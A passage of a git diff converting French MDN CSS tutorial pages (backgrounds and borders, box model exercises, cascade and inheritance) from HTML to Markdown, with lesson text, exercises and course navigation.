quatre coins, puis modifié celle du coin en haut à droite. Vous pouvez jouer avec les différentes valeurs pour changer le rendu des coins. Jetez un œil à la page de documentation de [`border-radius`](/fr/docs/Web/CSS/border-radius), vous y trouverez la syntaxe pour les différentes options. + +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 750)}} -<p>Dans l'exemple ci-dessus, nous avons d'abord fixé la valeur pour les quatre coins, puis modifié celle du coin en haut à droite. Vous pouvez jouer avec les différentes valeurs pour changer le rendu des coins. Jetez un œil à la page de documentation de <a href="/fr/docs/Web/CSS/border-radius"><code>border-radius</code></a>, vous y trouverez la syntaxe pour les différentes options.</p> +## Testez vos compétences ! -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 750)}}</p> +Testons vos nouvelles connaissances : en partant de l'exemple fourni plus bas : -<h2 id="test_your_skills">Testez vos compétences !</h2> +1. Donnez au bloc une bordure en trait plein noir de 5px de large, avec des coins arrondis de 10px. +2. Ajouter une image de fond (utiliser l'URL `balloons.jpg`) à redimensionner pour qu'elle recouvre la boîte. +3. Donnez au `<h2>` une couleur de fond noire semi-transparente, avec un texte en blanc. -<p>Testons vos nouvelles connaissances : en partant de l'exemple fourni plus bas :</p> +{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 700)}} -<ol> - <li>Donnez au bloc une bordure en trait plein noir de 5px de large, avec des coins arrondis de 10px.</li> - <li>Ajouter une image de fond (utiliser l'URL <code>balloons.jpg</code>) à redimensionner pour qu'elle recouvre la boîte.</li> - <li>Donnez au <code><h2></code> une couleur de fond noire semi-transparente, avec un texte en blanc.</li> -</ol> +> **Note :** Vous pouvez [jeter un œil à la solution ici](https://github.com/mdn/css-examples/blob/master/learn/solutions.md) — mais essayez d'abord de la trouver par vous-même ! -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 700)}}</p> +## Résumé -<div class="note"> -<p><strong>Note :</strong> Vous pouvez <a href="https://github.com/mdn/css-examples/blob/master/learn/solutions.md">jeter un œil à la solution ici</a> — mais essayez d'abord de la trouver par vous-même !</p> -</div> +Nous avons vu beaucoup de choses dans cette leçon, ajouter un arrière-plan à une boîte ou une bordure n'est pas si simple. N'hésitez pas à explorer les pages de référence des propriétés rencontrées si vous voulez creuser les points évoqués ici. Chaque page sur MDN vous proposera de nouveaux exemples sur lesquels vous pourrez continuer à vous entraîner et renforcer vos connaissances. -<h2 id="summary">Résumé</h2> +Dans la leçon suivante nous découvrirons comment le mode d'écriture de votre document interagit avec CSS. Que se passe-t-il quand le texte ne se déroule pas de la gauche vers la droite ? -<p>Nous avons vu beaucoup de choses dans cette leçon, ajouter un arrière-plan à une boîte ou une bordure n'est pas si simple. N'hésitez pas à explorer les pages de référence des propriétés rencontrées si vous voulez creuser les points évoqués ici. Chaque page sur MDN vous proposera de nouveaux exemples sur lesquels vous pourrez continuer à vous entraîner et renforcer vos connaissances.</p> +{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}} -<p>Dans la leçon suivante nous découvrirons comment le mode d'écriture de votre document interagit avec CSS. Que se passe-t-il quand le texte ne se déroule pas de la gauche vers la droite ?</p> +## Dans ce cours -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p> +1. [Cascade et héritage](/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance) +2. [Sélecteurs CSS](/fr/docs/Learn/CSS/Building_blocks/Selectors) -<h2 id="Dans_ce_cours">Dans ce cours</h2> + - [Sélecteurs de classe, de type et d'identifiant](/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors) + - [Sélecteurs d'attribut](/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors) + - [Pseudo-classes et pseudo-éléments](/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements) + - [Combinateurs](/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators) -<ol> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Cascade et héritage</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors">Sélecteurs CSS</a> - <ul> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Sélecteurs de classe, de type et d'identifiant</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Sélecteurs d'attribut</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Pseudo-classes et pseudo-éléments</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Combinateurs</a></li> - </ul> - </li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/The_box_model">Le modèle de boîte</a></li> - <li>Arrières-plans et bordures</li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Gérer la directionnalité du texte</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Overflowing_content">Le dépassement du contenu</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Values_and_units">Valeurs et unités</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">Dimensionnement des objets en CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Images, médias, et formulaires</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Styling_tables">Mettre en forme les tableaux</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS">Déboguer CSS</a></li> - <li><a href="/fr/docs/Learn/CSS/Building_blocks/Organizing">Organiser son code CSS</a></li> - </ol>
\ No newline at end of file +3. [Le modèle de boîte](/fr/docs/Learn/CSS/Building_blocks/The_box_model) +4. Arrières-plans et bordures +5. [Gérer la directionnalité du texte](/fr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions) +6. [Le dépassement du contenu](/fr/docs/Learn/CSS/Building_blocks/Overflowing_content) +7. [Valeurs et unités](/fr/docs/Learn/CSS/Building_blocks/Values_and_units) +8. [Dimensionnement des objets en CSS](/fr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS) +9. [Images, médias, et formulaires](/fr/docs/Learn/CSS/Building_blocks/Images_media_form_elements) +10. [Mettre en forme les tableaux](/fr/docs/Learn/CSS/Building_blocks/Styling_tables) +11. [Déboguer CSS](/fr/docs/Learn/CSS/Building_blocks/Debugging_CSS) +12. [Organiser son code CSS](/fr/docs/Learn/CSS/Building_blocks/Organizing) diff --git a/files/fr/learn/css/building_blocks/box_model_tasks/index.md b/files/fr/learn/css/building_blocks/box_model_tasks/index.md index 0d4034be70..715db21d91 100644 --- a/files/fr/learn/css/building_blocks/box_model_tasks/index.md +++ b/files/fr/learn/css/building_blocks/box_model_tasks/index.md @@ -6,80 +6,67 @@ tags: - CSS translation_of: Learn/CSS/Building_blocks/Box_Model_Tasks --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>L'objectif de cet exercice est de vous aider à vérifier votre compréhension du modèle de boîte CSS.</p> +L'objectif de cet exercice est de vous aider à vérifier votre compréhension du modèle de boîte CSS. -<div class="note"> -<p><strong>Note :</strong> Vous pouvez tester des solutions dans les éditeurs interactifs présents sur cette page. Toutefois il peut toutefois être plus utile de télécharger le code et de passer par un éditeur en ligne comme <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">JSFiddle</a> ou <a href="https://glitch.com/">Glitch</a> pour travailler sur les exercices.</p> -<p>Si vous bloquez, demandez-nous de l'aide : voir la section <a href="#assessment_or_further_help">Évaluation et aide</a> en bas de cette page.</p> -</div> +> **Note :** Vous pouvez tester des solutions dans les éditeurs interactifs présents sur cette page. Toutefois il peut toutefois être plus utile de télécharger le code et de passer par un éditeur en ligne comme [CodePen](https://codepen.io/), [JSFiddle](https://jsfiddle.net/) ou [Glitch](https://glitch.com/) pour travailler sur les exercices. +> +> Si vous bloquez, demandez-nous de l'aide : voir la section [Évaluation et aide](#assessment_or_further_help) en bas de cette page. -<h2 id="the_box_model_one">Modèle de boîte : numéro 1</h2> +## Modèle de boîte : numéro 1 -<p>Regardez les deux boîtes ci-dessous : l'une utilise le modèle standard, tandis que l'autre utilise le modèle alternatif. Changez la largeur de la seconde boîte en ajoutant des règles à la classe .alternate, de façon à ce que sa largeur corresponde à la largeur visuelle de la première boîte. Le résultat final doit ressembler à l'image ci-dessous :</p> +Regardez les deux boîtes ci-dessous : l'une utilise le modèle standard, tandis que l'autre utilise le modèle alternatif. Changez la largeur de la seconde boîte en ajoutant des règles à la classe .alternate, de façon à ce que sa largeur corresponde à la largeur visuelle de la première boîte. Le résultat final doit ressembler à l'image ci-dessous : -<p><img alt="Deux boîtes de la même taille" src="mdn-box-model1.png"></p> + -<p>Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé :</p> +Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé : -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/box-models.html", '100%', 1100)}}</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/box-models.html", '100%', 1100)}} -<div class="note"> -<p><strong>Note :</strong> Pour obtenir une évaluation ou aller plus loin dans votre travail, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html">téléchargez le code de départ pour cet exercice</a> pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** Pour obtenir une évaluation ou aller plus loin dans votre travail, [téléchargez le code de départ pour cet exercice](https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html) pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne. -<h2 id="the_box_model_two">Modèle de boîte : numéro 2</h2> +## Modèle de boîte : numéro 2 -<p>Dans cet exercice, ajoutez à la boîte :</p> +Dans cet exercice, ajoutez à la boîte : -<ul> - <li>une bordure pointillée, noire, de 5px d'épaisseur ;</li> - <li>une marge supérieure de 20px ;</li> - <li>une marge à droite de 1em ;</li> - <li>une marge inférieure de 40px ;</li> - <li>une marge gauche de 2em ;</li> - <li>un espace intérieur sur tous les côtés de 1em.</li> -</ul> +- une bordure pointillée, noire, de 5px d'épaisseur ; +- une marge supérieure de 20px ; +- une marge à droite de 1em ; +- une marge inférieure de 40px ; +- une marge gauche de 2em ; +- un espace intérieur sur tous les côtés de 1em. -<p><img alt="Une boîte avec une bordure pointillée" src="mdn-box-model2.png"></p> + -<p>Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé :</p> +Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé : -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/mbp.html", '100%', 600)}}</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/mbp.html", '100%', 600)}} -<div class="note"> -<p><strong>Note :</strong> Pour obtenir une évaluation ou aller plus loin dans votre travail, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html">téléchargez le code de départ pour cet exercice</a> pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** Pour obtenir une évaluation ou aller plus loin dans votre travail, [téléchargez le code de départ pour cet exercice](https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html) pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne. -<h2 id="the_box_model_three">Modèle de boîte : numéro 3</h2> +## Modèle de boîte : numéro 3 -<p>Dans cet exemple, l'élément en ligne possède une marge, un espacement intérieur et une bordure ; toutefois, les lignes au-dessus et en dessous débordent. Que pouvez-vous ajouter à votre code CSS pour que la taille de la marge, de l'espacement intérieur et de la bordure soient respectée par les autres lignes, tout en gardant l'élément en ligne ?</p> +Dans cet exemple, l'élément en ligne possède une marge, un espacement intérieur et une bordure ; toutefois, les lignes au-dessus et en dessous débordent. Que pouvez-vous ajouter à votre code CSS pour que la taille de la marge, de l'espacement intérieur et de la bordure soient respectée par les autres lignes, tout en gardant l'élément en ligne ? -<p><img alt="Une boîte en ligne avec un espace entre elle et le texte qui l'entoure" src="mdn-box-model3.png"></p> + -<p>Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé :</p> +Essayez de mettre à jour le code direct ci-dessous pour reproduire l'exemple terminé : -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/inline-block.html", '100%', 800)}}</p> +{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/inline-block.html", '100%', 800)}} -<div class="note"> -<p><strong>Note :</strong> Pour obtenir une évaluation ou aller plus loin dans votre travail, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html">téléchargez le code de départ pour cet exercice</a> pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne.</p> -</div> +> **Note :** Pour obtenir une évaluation ou aller plus loin dans votre travail, [téléchargez le code de départ pour cet exercice](https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html) pour pouvoir travailler avec votre propre éditeur ou avec un éditeur en ligne. -<h2 id="assessment_or_further_help">Évaluation et aide</h2> +## Évaluation et aide -<p>Vous pouvez essayer ces exemples dans les éditeurs interactifs présents sur cette page.</p> +Vous pouvez essayer ces exemples dans les éditeurs interactifs présents sur cette page. -<p>Si vous souhaitez obtenir une évaluation de votre travail, ou si vous bloquez et que vous souhaitez obtenir de l'aide :</p> +Si vous souhaitez obtenir une évaluation de votre travail, ou si vous bloquez et que vous souhaitez obtenir de l'aide : -<ol> - <li>Enregistrez votre travail dans un éditeur en ligne partageable, du type <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">JSFiddle</a> ou <a href="https://glitch.com/">Glitch</a>. Vous pouvez soit écrire le code vous-même, soit utiliser les fichiers de départ fournis dans chacune des sections ci-dessus.</li> - <li>Écrivez un message demandant une évaluation et/ou de l'aide dans la catégorie <a href="https://discourse.mozilla.org/c/mdn/learn">"Apprentissage" (Learning) du forum Discourse de MDN</a>. Votre message doit inclure : - <ul> - <li>Un titre explicite, par exemple "Évaluation demandée pour le test de modèle de boîte CSS 1".</li> - <li>Des détails sur ce que vous avez déjà tenté, et ce que vous attendez de nous : par exemple, si vous bloquez et avez besoin d'aide, ou si vous souhaitez obtenir une évaluation de votre travail.</li> - <li>Un lien vers l'exemple que vous souhaitez voir évalué ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne partageable (comme mentionné dans l'étape 1 au-dessus). C'est une bonne habitude à prendre : il est très difficile d'aider quelqu'un qui rencontre un problème de codage… si vous ne pouvez pas voir leur code!</li> - <li>Un lien vers l'exercice en cours ou la page d'évaluation, de façon à ce qu'on puisse trouver la question pour laquelle vous avez besoin d'aide.</li> - </ul> - </li> -</ol> +1. Enregistrez votre travail dans un éditeur en ligne partageable, du type [CodePen](https://codepen.io/), [JSFiddle](https://jsfiddle.net/) ou [Glitch](https://glitch.com/). Vous pouvez soit écrire le code vous-même, soit utiliser les fichiers de départ fournis dans chacune des sections ci-dessus. +2. Écrivez un message demandant une évaluation et/ou de l'aide dans la catégorie ["Apprentissage" (Learning) du forum Discourse de MDN](https://discourse.mozilla.org/c/mdn/learn). Votre message doit inclure : + + - Un titre explicite, par exemple "Évaluation demandée pour le test de modèle de boîte CSS 1". + - Des détails sur ce que vous avez déjà tenté, et ce que vous attendez de nous : par exemple, si vous bloquez et avez besoin d'aide, ou si vous souhaitez obtenir une évaluation de votre travail. + - Un lien vers l'exemple que vous souhaitez voir évalué ou pour lequel vous avez besoin d'aide, dans un éditeur en ligne partageable (comme mentionné dans l'étape 1 au-dessus). C'est une bonne habitude à prendre : il est très difficile d'aider quelqu'un qui rencontre un problème de codage… si vous ne pouvez pas voir leur code! + - Un lien vers l'exercice en cours ou la page d'évaluation, de façon à ce qu'on puisse trouver la question pour laquelle vous avez besoin d'aide. diff --git a/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md index 7bc80fb59e..855f04d88b 100644 --- a/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md +++ b/files/fr/learn/css/building_blocks/cascade_and_inheritance/index.md @@ -13,332 +13,272 @@ tags: translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance original_slug: Apprendre/CSS/Building_blocks/Cascade_et_heritage --- -<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}} -<p>Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus.</p> +Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus. -<p>Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu plus académique que d'autres parties du cours, la compréhension de ces éléments vous épargnera bien des soucis plus tard ! Nous vous conseillons de parcourir attentivement cette section et de vérifier que vous avez bien compris les concepts avant de passer à la suite.</p> +Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu plus académique que d'autres parties du cours, la compréhension de ces éléments vous épargnera bien des soucis plus tard ! Nous vous conseillons de parcourir attentivement cette section et de vérifier que vous avez bien compris les concepts avant de passer à la suite. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Maîtrise élémentaire de l'informatique, <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base">suite logicielle de base installée</a>, compétences élémentaires pour <a href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers">travailler avec des fichiers</a>, connaissance de base du HTML (cf. <a href="/fr/docs/Apprendre/HTML/Introduction_à_HTML">Introduction à HTML</a>), et une idée de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_works">Comment fonctionne CSS</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Découvrir la cascade et la spécificité, et comment l'héritage fonctionne en CSS.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Maîtrise élémentaire de l'informatique, + <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Installation_outils_de_base" + >suite logicielle de base installée</a + >, compétences élémentaires pour <a + href="/fr/docs/Apprendre/Commencer_avec_le_web/Gérer_les_fichiers" + >travailler avec des fichiers</a + >, connaissance de base du HTML (cf. <a + href="/fr/docs/Apprendre/HTML/Introduction_à_HTML" + >Introduction à HTML</a + >), et une idée de <a + href="/fr/docs/Learn/CSS/First_steps/How_CSS_works" + >Comment fonctionne CSS</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Découvrir la cascade et la spécificité, et comment l'héritage fonctionne + en CSS. + </td> + </tr> + </tbody> </table> -<h2 id="Règles_contradictoires">Règles contradictoires</h2> +## Règles contradictoires -<p>CSS est l'acronyme de <strong>Cascading Style Sheets</strong>, qu'on peut traduire par <em>feuilles de style en cascade</em> et la compréhension de ce premier mot <em>cascading</em> est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS.</p> +CSS est l'acronyme de **Cascading Style Sheets**, qu'on peut traduire par *feuilles de style en cascade* et la compréhension de ce premier mot *cascading* est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS. -<p>À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La <strong>cascade</strong>, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent.</p> +À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La **cascade**, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent. -<p>Le concept d'<strong>héritage</strong> est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus.</p> +Le concept d'**héritage** est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus. -<p>Commençons par examiner rapidement les éléments clés dont il est question, puis examinons chacun d'eux à tour de rôle et voyons comment ils interagissent entre eux et avec votre CSS. Cela peut sembler être un ensemble de concepts difficiles à comprendre. Cependant, à mesure que vous vous entraînerez à écrire des CSS, la façon dont ils fonctionnent deviendra plus évidente pour vous.</p> +Commençons par examiner rapidement les éléments clés dont il est question, puis examinons chacun d'eux à tour de rôle et voyons comment ils interagissent entre eux et avec votre CSS. Cela peut sembler être un ensemble de concepts difficiles à comprendre. Cependant, à mesure que vous vous entraînerez à écrire des CSS, la façon dont ils fonctionnent deviendra plus évidente pour vous. -<h3 id="La_cascade">La cascade</h3> +### La cascade -<p>À un niveau élémentaire, la <strong>cascade</strong> des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme.</p> +À un niveau élémentaire, la **cascade** des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme. -<p>Dans l'exemple ci-dessous deux règles pourraient s'appliquer à <code>h1</code>. Au final <code>h1</code> est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte.</p> +Dans l'exemple ci-dessous deux règles pourraient s'appliquer à `h1`. Au final `h1` est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} -<h3 id="Spécificité">Spécificité</h3> +### Spécificité -<p>Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise :</p> +Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise : -<ul> - <li>Un sélecteur d'élément est peu spécifique — il cible tous les éléments d'un type donné dans la page — son score est donc faible ;</li> - <li>Un sélecteur de classe est plus spécifique — dans la page, il ne cible que les éléments dont l'attribut <code>class</code> a la valeur choisie — son score est plus important.</li> -</ul> +- Un sélecteur d'élément est peu spécifique — il cible tous les éléments d'un type donné dans la page — son score est donc faible ; +- Un sélecteur de classe est plus spécifique — dans la page, il ne cible que les éléments dont l'attribut `class` a la valeur choisie — son score est plus important. -<p>Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à <code>h1</code>. Au final <code>h1</code> est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS.</p> +Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à `h1`. Au final `h1` est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} -<p>Nous expliquerons le score de spécificité et d'autres points reliés un peu plus loin.</p> +Nous expliquerons le score de spécificité et d'autres points reliés un peu plus loin. -<h3 id="Héritage">Héritage</h3> +### Héritage -<p>L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non.</p> +L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non. -<p>Par exemple, si vous fixez une <code>color</code> et une <code>font-family</code> pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles.</p> +Par exemple, si vous fixez une `color` et une `font-family` pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} -<p>Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant !</p> +Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant ! -<div class="note"> -<p><strong>Note :</strong> Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la <a href="/fr/docs/Web/CSS/color#Specifications">section des spécifications de la propriété color</a>, par exemple.</p> -</div> +> **Note :** Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la [section des spécifications de la propriété color](/fr/docs/Web/CSS/color#Specifications), par exemple. -<h2 id="Comprendre_comment_ces_concepts_se_combinent">Comprendre comment ces concepts se combinent</h2> +## Comprendre comment ces concepts se combinent -<p>Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici !</p> +Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici ! -<h2 id="Comprendre_lhéritage">Comprendre l'héritage</h2> +## Comprendre l'héritage -<p>Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (<code>padding</code>) et une couleur de police pour la <code><ul></code> extérieure.</p> +Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (`padding`) et une couleur de police pour la `<ul>` extérieure. -<p>La couleur est transmise aux enfants directs, et aussi enfants indirects — les <code><li></code> de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe <code>special</code> à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants.</p> +La couleur est transmise aux enfants directs, et aussi enfants indirects — les `<li>` de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe `special` à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants. -<p>{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} </p> +{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} -<p>Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange !</p> +Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange ! -<p>Dans la plupart des cas, le sens commun permet de comprendre quelles propriétés sont héritées par défaut et quelles propriétés ne se transmettent pas.</p> +Dans la plupart des cas, le sens commun permet de comprendre quelles propriétés sont héritées par défaut et quelles propriétés ne se transmettent pas. -<h3 id="Contrôler_lhéritage">Contrôler l'héritage</h3> +### Contrôler l'héritage -<p>CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS.</p> +CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS. -<dl> - <dt>{{cssxref("inherit")}}</dt> - <dd>La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage".</dd> - <dt>{{cssxref("initial")}}</dt> - <dd>La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est 